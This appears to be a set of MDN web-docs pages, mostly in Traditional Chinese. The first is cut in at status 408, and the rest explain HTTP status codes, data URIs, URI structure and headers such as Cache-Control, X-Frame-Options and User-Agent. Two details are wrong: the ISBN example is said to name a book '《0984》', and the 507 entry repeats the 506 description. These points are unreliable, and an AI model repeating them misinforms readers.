`408 Request Timeout` (en-US)

This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.

`409 Conflict`

表示請求與伺服器目前狀態衝突

`410 Gone` (en-US)

當伺服器已刪除請求的內容時會送出此回應。

`411 Length Required`

伺服器拒絕該請求，因為 `Content-Length` 頭沒有被定義，然而伺服器要求。

`412 Precondition Failed` (en-US)

The client has indicated preconditions in its headers which the server does not meet.

`413 Payload Too Large` (en-US)

請求的實體資料大小超過了伺服器定義的上限，伺服器會關閉連接或返回一個 `Retry-After` 回應頭。

`414 URI Too Long` (en-US)

客戶端的 URI 請求超過伺服器願意解析的長度。

`415 Unsupported Media Type`

被請求資源的多媒體類型不被伺服器支援，因此該請求被拒絕。

`416 Requested Range Not Satisfiable` (en-US)

The range specified by the `Range` header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.

`417 Expectation Failed` (en-US)

此回應代表伺服器未能滿足請求標頭的`Expect`欄位所提出的期望回應。

`418 I'm a teapot`

The server refuses the attempt to brew coffee with a teapot.

`421 Misdirected Request` (en-US)

The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.

`422 Unprocessable Entity` (en-US) (WebDAV (en-US))

請求格式正確，但有部分語意上的錯誤而無法執行請求。

`423 Locked` (en-US) (WebDAV (en-US))

被訪問的資源被鎖定。

`424 Failed Dependency` (en-US) (WebDAV (en-US))

由於先前的請求失敗導致此請求失敗。

`426 Upgrade Required` (en-US)

The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an `Upgrade` (en-US) header in a 426 response to indicate the required protocol(s).

`428 Precondition Required` (en-US)

The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.

`429 Too Many Requests` (en-US)

用戶在給定的時間內 ("rate limiting") 發送了過多的請求。

`431 Request Header Fields Too Large` (en-US)

伺服器不願意處理該請求，因為標頭欄位過大。該請求可能可以在減少請求標頭欄位大小後重新提交。

`451 Unavailable For Legal Reasons`

用戶端請求違法的資源，例如受政府審查的網頁。

伺服器端錯誤回應
--------

`500 Internal Server Error`

伺服器端發生未知或無法處理的錯誤。

`501 Not Implemented` (en-US)

伺服器不支援請求的方法，僅有`GET`與`HEAD`是伺服器必須支援的方法。

`502 Bad Gateway`

作為閘道的伺服器，在獲取處理請求所需的回應時，得到無效回應。

`503 Service Unavailable`

The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the `Retry-After:` HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.

`504 Gateway Timeout`

伺服器作為閘道器時無法及時得到回應。

`505 HTTP Version Not Supported` (en-US)

請求使用的 HTTP 版本不被伺服器支援。

`506 Variant Also Negotiates` (en-US)

The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.

`507 Insufficient Storage` (en-US)

The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.

`508 Loop Detected` (en-US) (WebDAV (en-US))

伺服器處理請求時偵測到無限迴圈。

`510 Not Extended` (en-US)

伺服器需要對請求做進一步的擴充才能完成請求。

`511 Network Authentication Required` (en-US)

用戶需要經過認證才能取得網路存取權。

瀏覽器相容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

參見
--

* List of HTTP status codes on Wikipedia
* IANA official registry of HTTP status codes
* HTTP Status Codes Cheat Sheet
* A Complete Guide and List of HTTP Status Codes
* httpstatus – 檢查網址重定向路徑、請求標頭與 HTTP 狀態代碼


data URIs - HTTP

data URIs
=========

`data` URIs, 由 RFC 2397 文件定義, 允許作者在文件中嵌入檔案.

表達式
---

data URI 的表達式如下：
```

data:[<mediatype>][;base64],<data>
```

`mediatype` 為一 MIME type 字串，例如 JPEG 圖檔為「`image/jpeg`」，為非必要參數，若省略的話，默認值為「`text/plain;charset=US-ASCII`」。

If the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type). Otherwise, you can specify `base64` to embed base64-encoded binary data.

### 範例

data:,Hello%2C%20World!

一個簡單的 text/plain data

data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D

同前者，但經過 base64 編碼。

data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E

一 HTML 檔，內容為`<h1>Hello, World</h1>`

以 base64 格式編碼資料
---------------

在 Linux 和 Mac OS X 中，可以在終端機輸入下面的程式碼來進行編碼：
```

uuencode -m infile remotename
```

The `infile` parameter is the name of the file you wish to encode into base64 format, and `remotename` is the remote name for the file, which isn't actually used in `data` URLs.

輸出結果如下所示：
```

begin-base64 664 test
YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
====
```

The `data` URI will use the encoded data after the initial header line.

### JavaScript

請先閱讀文章《 Base64 encoding and decoding (en-US). 》。

轉換 nsIFile 至 data URI
---------------------

This function returns a base 64-encoded data URI from the passed nsIFile.

```js
function generateDataURI(file) {
  var contentType = Components.classes["@mozilla.org/mime;1"]
    .getService(Components.interfaces.nsIMIMEService)
    .getTypeFromFile(file);
  var inputStream = Components.classes[
    "@mozilla.org/network/file-input-stream;1"
  ].createInstance(Components.interfaces.nsIFileInputStream);
  inputStream.init(file, 0x01, 0600, 0);
  var stream = Components.classes[
    "@mozilla.org/binaryinputstream;1"
  ].createInstance(Components.interfaces.nsIBinaryInputStream);
  stream.setInputStream(inputStream);
  var encoded = btoa(stream.readBytes(stream.available()));
  return "data:" + contentType + ";base64," + encoded;
}
```

安全
--

**備註：** Prior to Gecko 6.0, `data` URIs inherited the security context of the page currently in the browser window if the user enters a `data` URI into the location bar. Now `data` URIs get a new, empty, security context.

常見的問題
-----

以下列舉幾個再使用 `data` URIs 時常遇到的問題.

表達式

`data` URIs 的格式十分簡單, 但是我們容易忘記在 "data" 區塊前面使用逗號, 或是不正確的將資料轉換為 base64 的格式.

在 HTML 的格式

A `data` URI provides a file within a file, which can potentially be very wide relative to the width of the enclosing document. As a URL, the `data` should be formatable with whitespace (linefeed, tab, or spaces), but there are practical issues that arise when using base64 encoding.

長度限制

Although Mozilla supports `data` URIs of essentially unlimited length, browsers are not required to support any particular maximum length of data. For example, the Opera 11 browser limits `data` URIs to around 65000 characters.

缺乏錯誤處理

Invalid parameters in media, or typos when specifying "base64", are ignored, but no error is provided.

未支援 query 字串, etc.

The data portion of a data URI is opaque, so an attempt to use a query string (page-specific parameters, with the syntax `<url>?parameter-data`) with a data URI will just include the query string in the data the URI represents. For example:
```

data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
```

This represents an HTML resource whose contents are:
```

lots of text...<p><a name="bottom">bottom</a>?arg=val
```

Note: as of Firefox 6, fragments (anchors) are processed consistent with other URI schemes, thus a bare "#" in the content needs to be escaped as '%23'.

瀏覽器的支援
------

The `data` scheme is supported by Opera 7.20 and above, as well as Safari and Konqueror. Internet Explorer 7 and below, however, do not currently support it. Internet Explorer 8 and above only supports `data` URIs for images in CSS, <link>, and <img>.

參見
--

* Base64 encoding and decoding (en-US)
* `atob()` (en-US)
* `btoa()` (en-US)
* CSS `url()` (en-US)
* URI (en-US)
資源
--

* RFC 2397 — The "data" URL scheme"


識別網絡上的資源 - HTTP

識別網絡上的資源
========

HTTP 請求的目標被稱為「資源」，其性質並未進一步定義；它可以是一個文件、一張照片或其他任何東西。每個資源都由統一資源標識符（URI）識別，該 URI 在整個 HTTP 中用於識別資源。

URL 和 URN
---------

### URL

最常見的 URI 形式是統一資源定位符（URL），也稱為*網址*。

```url
https://developer.mozilla.org
https://developer.mozilla.org/zh-TW/docs/Learn/
https://developer.mozilla.org/zh-TW/search?q=URL
```

可以將任何一個 URL 輸入到瀏覽器的地址欄中，以告訴它加載相關的網頁（資源）。

URL 由不同的部分組成，一些是必需的，而其他是可選的。一個更複雜的例子可能如下所示：

```url
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
```

### URN

統一資源名稱（URN）是一個在特定命名空間中以名稱識別資源的 URI。

```url
urn:isbn:9780141036144
urn:ietf:rfc:7230
```

這兩個 URN 分別對應到：

* 《0984》一書，作者是喬治·奧威爾（George Orwell）。
* IETF 規範 7230，標題為「超文本傳輸協議（HTTP/1.1）：消息語法和路由」。
統一資源識別符的語法
----------

### 方案或協定

![協定](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-protocol@x2.png)

`http://` 是個協定（protocol），它指示瀏覽器應該使用哪種協定。通常情況下，這是 HTTP 協議或其安全版本 HTTPS。網頁需要使用這兩者之一，但瀏覽器也知道如何處理其他協定，比如 `mailto:`（用於打開郵件客戶端）或 `ftp:`（用於處理文件傳輸），所以如果你看到這些協定，也不要感到驚訝。一些常見的方案（scheme）包括：

| 方案 | 描述 |
| --- | --- |
| data | Data URL |
| file | 特定主機的文件名 |
| ftp | 文件傳輸協定 |
| http/https | 超文字傳輸協定（安全） |
| javascript | URL 中嵌入的 JavaScript 程式碼 |
| mailto | 電子郵件地址 |
| ssh | 安全外殼 |
| tel | 電話 |
| urn | 統一資源名稱 |
| view-source | 資源的源程式碼 |
| ws/wss | WebSocket 連接（安全） |

### 權威

![域名](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-domain@x2.png)

`www.example.com` 是域名或管理命名空間的權威，它指示正在請求的 Web 服務器。或者，也可以直接使用 IP 位址，但由於不太方便，因此在 Web 上很少使用。

### 通訊埠

![通訊埠](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-port@x2.png)

`:80` 是在這個示例中的通訊埠編號。它表示用於訪問 Web 服務器上的資源的技術「閘道」。通常，如果 Web 服務器使用 HTTP 協議的標準通訊埠（HTTP 的通訊埠為 80，HTTPS 的通訊埠為 443）來提供對其資源的訪問權，則可以省略它。否則，它是必需的。

### 路徑

![文件路徑](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-path@x2.png)

`/path/to/myfile.html` 是 Web 服務器上資源的路徑。在 Web 早期，這樣的路徑代表了 Web 服務器上的實際文件位置。如今，它主要是由 Web 服務器抽象的處理，並且沒有實際的物理存在。

### 查詢

![參數](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-parameters@x2.png)

`?key1=value1&key2=value2` 是提供給 Web 服務器的額外參數。這些參數是一個由 `&` 符號分隔的鍵/值對列表。Web 服務器可以使用這些參數在將資源返回給用戶之前執行額外的操作。每個 Web 服務器都有自己的參數處理規則，了解特定 Web 服務器如何處理參數的唯一可靠方法是請教 Web 服務器的所有者。

### 片段

![錨點](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web/mdn-url-anchor@x2.png)

`#SomewhereInTheDocument` 是對資源本身的另一部分的錨點。錨點代表資源內的一種「書籤」，它告訴瀏覽器顯示位於該「書籤」位置的內容。例如，在 HTML 文件中，瀏覽器將滾動到定義錨點的位置；在視頻或音頻文件中，瀏覽器將嘗試跳轉到錨點代表的時間。值得注意的是，# 後面的部分，也稱為片段標識符，不會隨請求一起發送到服務器。

使用筆記
----

在 HTML 內容中使用 URL 時，通常只應該使用其中一些 URL 方案。當引用子資源（即作為較大文檔的一部分加載的文件）時，應僅使用 HTTP 和 HTTPS 方案。出於安全原因，越來越多的瀏覽器已經停用了使用 FTP 來加載子資源的支援。

FTP 在頂層（例如直接輸入到瀏覽器的 URL 欄中，或作為鏈接的目標）仍然可以接受，但一些瀏覽器可能將 FTP 內容的加載委派給另一個應用程序。

範例
--

```url
https://developer.mozilla.org/zh-TW/docs/Learn
tel:+1-816-555-1212
git@github.com:mdn/browser-compat-data.git
ftp://example.org/resource.txt
urn:isbn:9780141036144
mailto:help@supercyberhelpdesk.info
```

規範
--

| Specification |
| --- |
| HTTP Semantics # uri |

參見
--

* 什麼是 URL？ (en-US)
* IANA URI 方案列表


Connection - HTTP

Connection
==========

**`Connection`** 標頭用來控制在本次事務（transaction）後，連線是否要繼續開著。如果設定為 `keep-alive` ，
 則連線繼續開著，讓接下來送往同一伺服器的請求利用。

**警告：** Connection 相關的標頭如 `Connection` 和
 `Keep-Alive` (en-US) 在 HTTP/2 中被禁用。
 Chrome 和 Firefox 會忽略 HTTP/2 回應中的這些標頭，不過 Safari 遵守 HTTP/2
 spec 的要求，不會讀取包含這些標頭的回應內容。

 除了標準的點對點標頭（hop-by-hop headers）（`Keep-Alive` (en-US) 、
 `Transfer-Encoding` (en-US) 、 `TE` (en-US) 、 `Connection` 、
 `Trailer` (en-US) 、 `Upgrade` (en-US) 、
 `Proxy-Authorization` (en-US) 以及 `Proxy-Authenticate` (en-US)），
 任何在 HTTP 事務中使用到的點對點標頭都必須在 `Connection` 標頭列出來，
 這樣首先經手請求的代理軟體才知道自己要處理這些標頭。標準的點對點標頭也是一樣的處理方式。

| Header type | General header (en-US) |
| --- | --- |
| Forbidden header name (en-US) | yes |

語法
--

```http
Connection: keep-alive
Connection: close
```

指令
--

`close`

 表示客戶端或伺服器想要關閉連線。
 通常用在 HTTP/1.0 。

一串用逗號分隔的 HTTP 標頭 [通常只設定為 `keep-alive` ]

 表示客戶端想要讓連線持續開著。HTTP/1.1 請求的預設行為就是維持連線開啟。
 至於那串用逗號分隔的 HTTP 標頭會被首先經手請求的代理軟體或快取軟體移除：因為這些標頭就是用來控制請求發起者與第一個代理軟體的連線行為，而不是請求的目標伺服器。

瀏覽器相容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Content-Type - HTTP

Content-Type
============

**`Content-Type`** 用來表示資源的 media type 。

在 HTTP 回應中，`Content-Type` 表頭是用來表示本次 HTTP 事務回傳的內容類型。瀏覽器有時會自己推測內容類型（MIME sniffing），如果要阻止這個行為，請在回應中設定 `X-Content-Type-Options` (en-US) 標頭為 `nosniff`。

在 HTTP 請求中（比如 `POST` (en-US) 或 `PUT` (en-US)），則是客戶端用來告訴伺服器自己傳的資料是什麼內容類型。

| Header type | Entity header (en-US) |
| --- | --- |
| Forbidden header name (en-US) | no |
| CORS-safelisted response header (en-US) | yes |
| CORS-safelisted request header (en-US) | yes, with the additional restriction that values can't contain a *CORS-unsafe request header byte*: 0x00-0x1F (except 0x09 (HT)), `"():<>?@[\]{}`, and 0x7F (DEL). It also needs to have a MIME type of its parsed value (ignoring parameters) of either `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`. |

語法
--

```http
Content-Type: text/html; charset=UTF-8
Content-Type: multipart/form-data; boundary=something
```

指令
--

`media-type`

資料的 內容類型（MIME type） (en-US)

charset

編碼標準。

boundary

對於多段的資料必須要使用 `boundary` 指令，由 1 到 70 字的字元組成（這樣做很適合寄信），而且不能以空白結束。它會用來標誌資料的每一個段落。通常第一個段落的前面會加上兩個破折號（-），而最後一個段落後面也會加上兩個破折號。

範例
--

### 在 HTML 表單設定 `Content-Type`

你可以在 HTML `<form>` (en-US) 的 `enctype` 屬性，設定表單送出後的 `POST` (en-US) 請求的 `Content-Type` 。

```html
<form action="/" method="post" enctype="multipart/form-data">
  <input type="text" name="description" value="some text" />
  <input type="file" name="myFile" />
  <button type="submit">Submit</button>
</form>
```

HTTP 請求大概長這樣（省略了一些不重要的標頭）：
```

POST /foo HTTP/1.1
Content-Length: 68137
Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575

-----------------------------974767299852498929531610575
Content-Disposition: form-data; name="description"

some text
-----------------------------974767299852498929531610575
Content-Disposition: form-data; name="myFile"; filename="foo.txt"
Content-Type: text/plain

(content of the uploaded file foo.txt)
-----------------------------974767299852498929531610575--
```

Specifications
--------------

| Specification |
| --- |
| HTTP Semantics # status.206 |
| HTTP Semantics # field.content-type |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `Accept`
* `Content-Disposition` (en-US)
* `206` Partial Content
* `X-Content-Type-Options` (en-US)


Age - HTTP

Age
===

**`Age`** 標頭代表資源進到代理快取後，經過了幾秒。

`Age` 標頭通常接近 0。如果你拿到 `Age: 0` 代表資源剛剛才從後端伺服器抓進來；
 不然通常會是快取當下與回應中 `Date` 標頭的時間差。

| Header type | Response header (en-US) |
| --- | --- |
| Forbidden header name (en-US) | no |

語法
--

```html
Age: <秒數差>
```

指令
--

<秒數差>

正整數，代表資源在代理快取放幾秒了。

範例
--
```

Age: 24
```

Specifications
--------------

| Specification |
| --- |
| HTTP Caching # field.age |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `Cache-Control`
* `Expires` (en-US)


DNT - HTTP

DNT
===

**`DNT`**（**D**o **N**ot **T**rack，**請勿追蹤**）請求標頭表明用戶針對追蹤程式的設定。它能讓用戶表達自己相較於個人化設定，更在乎個人隱私。

| 標頭類型 | Request header (en-US) |
| --- | --- |
| Forbidden header name (en-US) | 是 |

語法
--
```

DNT: 0
DNT: 1
```

指令
--

0

用戶允許目標網站追蹤之。

1

用戶不允許目標網站追蹤。

示例
--

### 請參考 JavaScript 的 Do Not Track

用戶的 DNT 設定也能透過 JavaScript 的 `Navigator.doNotTrack` (en-US) 設定檢查：

```js
navigator.doNotTrack; // "0" or "1"
```

規範
--

#### No specification found

No specification data found for `http.headers.DNT`.
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

瀏覽器相容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

參見
--

* `Navigator.doNotTrack` (en-US)
* `Tk` (en-US) 標頭
* 維基百科的Do Not Track
* What Does the "Track" in "Do Not Track" Mean? – EFF
* donottrack.us
* 瀏覽器設定 DNT 的幫助：
    + Firefox
    + Chrome


X-Frame-Options 回應標頭 - HTTP

X-Frame-Options 回應標頭
====================

`X-Frame-Options` HTTP 回應標頭 (header) 用來指示文件是否能夠透過 `<frame>` (en-US)、`<iframe>` (en-US) 以及 `<object>` (en-US) 載入。網站可以利用 `X-Frame-Options` 來確保本身內容不會遭惡意嵌入到其他網站、避免 clickjacking (en-US) 攻擊。

僅當訪問文件的用戶使用支持 `X-Frame-Options` 的瀏覽器時，才提供附加的安全性。

**備註：** 在支援的瀏覽器中，`Content-Security-Policy` (en-US) 的 `frame-ancestors` (en-US) 指令標準已經取代了非標準的 `X-Frame-Options`。

使用 X-Frame-Options
------------------

共有三種值：

`DENY`

表示網頁無論如何都無法被嵌入到 frame 中，即使於相同網域內嵌入也不允許。

`SAMEORIGIN`

唯有當符合同源政策下，才能被嵌入到 frame 中。

`ALLOW-FROM uri`
已棄用

唯有列表許可的 URI 才能嵌入到 frame 中。新版瀏覽器已不再支援此指令。

### 設定 Apache

請加入以下指令到網站組態設定檔：
```

Header always append X-Frame-Options SAMEORIGIN
```

### 設定 nginx

請加入以下指令到 http, server 或 location 組態設定檔:
```

add_header X-Frame-Options SAMEORIGIN;
```

### 設定 IIS

請加入以下指令到網站的 Web.config 檔:
```

<system.webServer>
  ...

  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>

  ...
</system.webServer>
```

### 設定 HAProxy

請加入以下指令到 frontend, listen, 或 backend 組態設定檔:
```

rspadd X-Frame-Options:\ SAMEORIGIN
```

**備註：** 設定 Meta tag 是無效的，像是 <meta http-equiv="X-Frame-Options" content="deny"> 便沒有任何效果，只有透過設定 HTTP header 才有效果，請勿採用。

規範
--

| Specification |
| --- |
| HTML Standard # the-x-frame-options-header |

瀏覽器相容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

延伸閱讀
----

* `Content-Security-Policy` (en-US) 的 `frame-ancestors` (en-US) 指令
* HTTP Header Field X-Frame-Options - RFC 7034
* ClickJacking Defenses - IEBlog
* Combating ClickJacking with X-Frame-Options - IEInternals


Cache-Control - HTTP

Cache-Control
=============

**`Cache-Control`** 標頭中的*指令*用來控制 HTTP 請求、回應的快取行為。HTTP 請求跟回應可以擁有不同的快取控制指令。

| Header type | General header (en-US) |
| --- | --- |
| Forbidden header name (en-US) | no |
| CORS-safelisted response header (en-US) | yes |

語法
--

快取指令必須遵守這些規則：

* 大小寫沒差（但儘量用小寫）
* 指令之間用逗號（,）分開
* Some directives have an optional argument, which can be either a *token* or a *quoted-string*. (See spec for definitions)
### 請求用指令

可以在 HTTP 請求中使用的標準 `Cache-Control` 指令

```http
Cache-Control: max-age=<秒數>
Cache-Control: max-stale[=<秒數>]
Cache-Control: min-fresh=<秒數>
Cache-Control: no-cache
Cache-Control: no-store
Cache-Control: no-transform
Cache-Control: only-if-cached
```

### 回應用指令

可以在 HTTP 回應中使用的標準 `Cache-Control` 指令

```http
Cache-Control: must-revalidate
Cache-Control: no-cache
Cache-Control: no-store
Cache-Control: no-transform
Cache-Control: public
Cache-Control: private
Cache-Control: proxy-revalidate
Cache-Control: max-age=<秒數>
Cache-Control: s-maxage=<秒數>
```

### 擴充 Cache-Control 指令

這些擴充的 `Cache-Control` 指令不是 HTTP 快取的核心標準。使用前請檢查相容性，客戶端會直接忽略不支援的指令。

```http
Cache-Control: immutable
Cache-Control: stale-while-revalidate=<秒數>
Cache-Control: stale-if-error=<秒數>
```

指令
--

### 可快取性

這些指令定義 HTTP 請求/回應是否可以做快取、儲存在哪，以及使用前是否要跟後端伺服器做驗證

`public`

此回應可以被*任何快取軟體*儲存起來，即使它本身通常是不可快取的。

`private`

此回應只可以被*瀏覽器*儲存起來，即使它本身通常是不可快取的。**如果你真的不要任何快取軟體儲存你的回應，可以使用 `no-store` 。***這個指令不是用來防止快取軟體儲存回應的。*

`no-cache`

此回應可以被*任何快取軟體*儲存起來，即使它本身通常是不可快取的。不過，在使用儲存起來的 HTTP 回應之前，*必須*必須向後端伺服器做驗證，因此你不能拿 `no-cache` 跟 `immutable` 一起使用。**如果你真的不要任何快取軟體儲存你的回應，可以使用 `no-store` 。***這個指令不是用來防止快取軟體儲存回應的。*

`no-store`

此回應**不能**被*任何快取軟體*儲存起來。當然它無法防止 *先前儲存起來* 的回應被回傳。客戶端可以用 `max-age=0` 來清除快取，並強制向後端伺服器做驗證。（其他指令跟 `no-store` 一起使用都無效）

### 過期

`max-age=<秒數>`

快取有效的最大時間。跟 `Expires` 不一樣，這個指令是相對於請求當下的時間。

`s-maxage=<秒數>`

覆寫 `max-age` 或者 `Expires` 標頭，不過只對共用快取軟體生效（比如 nginx）。私有快取會無視這個指令。

`max-stale[=<秒數>]`

表示客戶端可以接受過期回應。可以宣告客戶端最多能接受過期多久。

`min-fresh=<秒數>`

表示客戶端想要有效時間*至少*在指定秒數以上的回應。

`stale-while-revalidate=<秒數>`
實驗性質

表示客戶端可以接受過期回應，但同時在背景檢查最新版本。*秒數*用來控制客戶端最多能接受過期多久。何時過期取決於 `max-age` 的值。想了解更多細節請到Google 如何透過過時的重新驗證方式改善廣告成效。

`stale-if-error=<秒數>`
實驗性質

表示客戶端會執行驗證，若驗證錯誤了就直接使用過期回應。*秒數*用來控制客戶端最多能接受過期多久。

### 驗證與重新讀取

`must-revalidate`

表示一旦過期，必須向後端伺服器做驗證。

`proxy-revalidate`

跟 `must-revalidate` 類似，不過只對共用快取軟體生效（比如 nginx）。私有快取會無視這個指令。

`immutable`

表示回應內容**不會改變** 。這個資源*不會過期*，因此即使使用者手動重新整理頁面，客戶端也不會用驗證標頭 （比如 `If-None-Match` 或 `If-Modified-Since`）。 Clients that aren't aware of this extension must ignore them as per the HTTP specification. 在 Firefox 中， `immutable` 只有在使用 `https://` 時會生效。想知道更多資訊，可以閱讀這篇文章。

### 其他

`no-transform`

位於中間的快取軟體或代理軟體不能修改回應內容、`Content-Encoding` (en-US)、`Content-Range` (en-US)、`Content-Type`。因此它可能造成某些代理軟體或瀏覽器的功能失效，比如說 Google's Web Light可以替很慢的網路事先壓縮圖片。

`only-if-cached`

由*客戶端*設定，表示不想經由網路得到回應。所以快取軟體可能會回傳先前儲存的回應，或者是 `504` 狀態碼。使用驗證標頭如 `If-None-Match` 是沒有意義的。由伺服器在 HTTP 回應中設定 `only-if-cached` 指令也沒有意義。

範例
--

### 防止被快取

想要禁止快取一個資源，你可以在回應中設定這個標頭：

Good

`Cache-Control: no-store`

>
> **這個:** `no-store` 指令使得回應再也不會被儲存，但它無法防止使用先前儲存、而且仍有效的快取。多設定 `max-age=0` 可以強制執行驗證（也就會清除既有快取）。
>
>
>

Bad

`Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0`

### 快取靜態檔案

對於那些不會更新的檔案，你可以在回應中使用下列這個激進的標頭。比如說用在圖片、CSS 檔案，以及 JavaScript 檔案。附帶一提，也可以看看 `Expires` 標頭。
```

Cache-Control: public, max-age=604800, immutable
```

### 必須執行驗證

`no-cache`、`max-age=0, must-revalidate` 是同樣的意思。
 表示客戶端可以儲存資源，但使用它前必須做驗證。這表示每次都會發生 HTTP 請求，不過只要沒過期就不用下載完整內容
```

Cache-Control: no-cache
```

```
Cache-Control: max-age=0, must-revalidate
```

**附帶一提**： 這個設定可以在伺服器掛掉的時候使用過期資源

```http
Cache-Control: max-age=0
```
Specifications
--------------

| Specification |
| --- |
| HTTP Caching # field.cache-control |
| HTTP Immutable Responses # the-immutable-cache-control-extension |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* HTTP Caching FAQ
* Caching Tutorial for Web Authors and Webmasters
* Guide: *`Cache-Control` for civilians*
* `Age`
* `Expires` (en-US)
* `Pragma` (en-US)


User-Agent - HTTP

User-Agent
==========

User-Agent 請求標頭（request header）含有能令網路協議同級層（peer）識別發出該用戶代理 (en-US)請求的軟體類型或版本號、該軟體使用的作業系統、還有軟體開發者的字詞串。

**備註：** 請讀讀透過用戶代理偵測瀏覽器以理解為什麼給不同的瀏覽器不同的頁面或服務是餿主意。

| 標頭類型 | Request header (en-US) |
| --- | --- |
| Forbidden header name (en-US) | 否 |

語法
--
```

User-Agent: <product> / <product-version> <comment>
```

瀏覽器常見格式：
```

User-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions>
```

網路瀏覽器常用的格式：
```

User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>
```

指令
--

<product>

產品識別符：通常是名字或開發代號。

<product-version>

產品版本號。

<comment>

關於產品資訊的註解（如副產品訊息）。可能有、或沒有。

Firefox UA 字串
-------------

關於 Firefox 和基於 Gecko 的用戶代理字串，請參閱 Firefox 用戶代理字串參考 (en-US)。Firefox 用戶代理字串大略上分成以下四個部份：

**Mozilla/5.0 (*platform*; rv:*geckoversion*) Gecko/*geckotrail* Firefox/*firefoxversion***

1. `Mozilla/5.0` is the general token that says the browser is Mozilla-compatible. For historical reasons, almost every browser today sends it.
2. ***platform*** describes the native platform the browser is running on (Windows, Mac, Linux, Android, etc.), and if it's a mobile phone. Firefox OS phones simply say `Mobile` — the web is the platform. Note that ***platform*** can consist of multiple `"; "`-separated tokens. See below for further details and examples.
3. **rv:*geckoversion*** indicates the release version of Gecko (such as *"17.0"*). In recent browsers, ***geckoversion*** is the same as ***firefoxversion***.
4. ***Gecko/geckotrail*** indicates that the browser is based on Gecko. (On Desktop, ***geckotrail*** is always the fixed string `20100101`.)
5. ***Firefox/firefoxversion*** indicates the browser is Firefox, and provides the version (such as "*17.0"*).
### 示例
```

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
```

Chrome 用戶代理字串
-------------

Chrome（或基於 Chromium/blink 引擎的瀏覽器）的用戶代理字串看起來像 Firefox。出於相容性的理由，它還會加上「KHTML, like Gecko」與「Safari」的字串。

### 字串
```

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
```

Opera 用戶代理字串
------------

因為 Opera 瀏覽器的引擎也是基於 blink 的，所以語法也看起來也會很像。不過，還會加上「 OPR/<version>」一詞。

### 示例
```

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41
```

Opera 在使用 Presto 排版時的用戶代理字串
```

Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00
Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1
```

Safari 用戶代理字串
-------------

此例的 safari 用戶代理字串是攜帶版，所以會出現「Mobile」一詞。

### 示例
```

Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
```

Internet Explorer 用戶代理字串
------------------------

### 示例
```

Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
```

網路爬蟲與機器人的用戶代理字串
---------------

### 示例
```

Googlebot/2.1 (+http://www.google.com/bot.html)
```

規範
--

| Specification |
| --- |
| HTTP Semantics # field.user-agent |

瀏覽器相容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

參閱
--

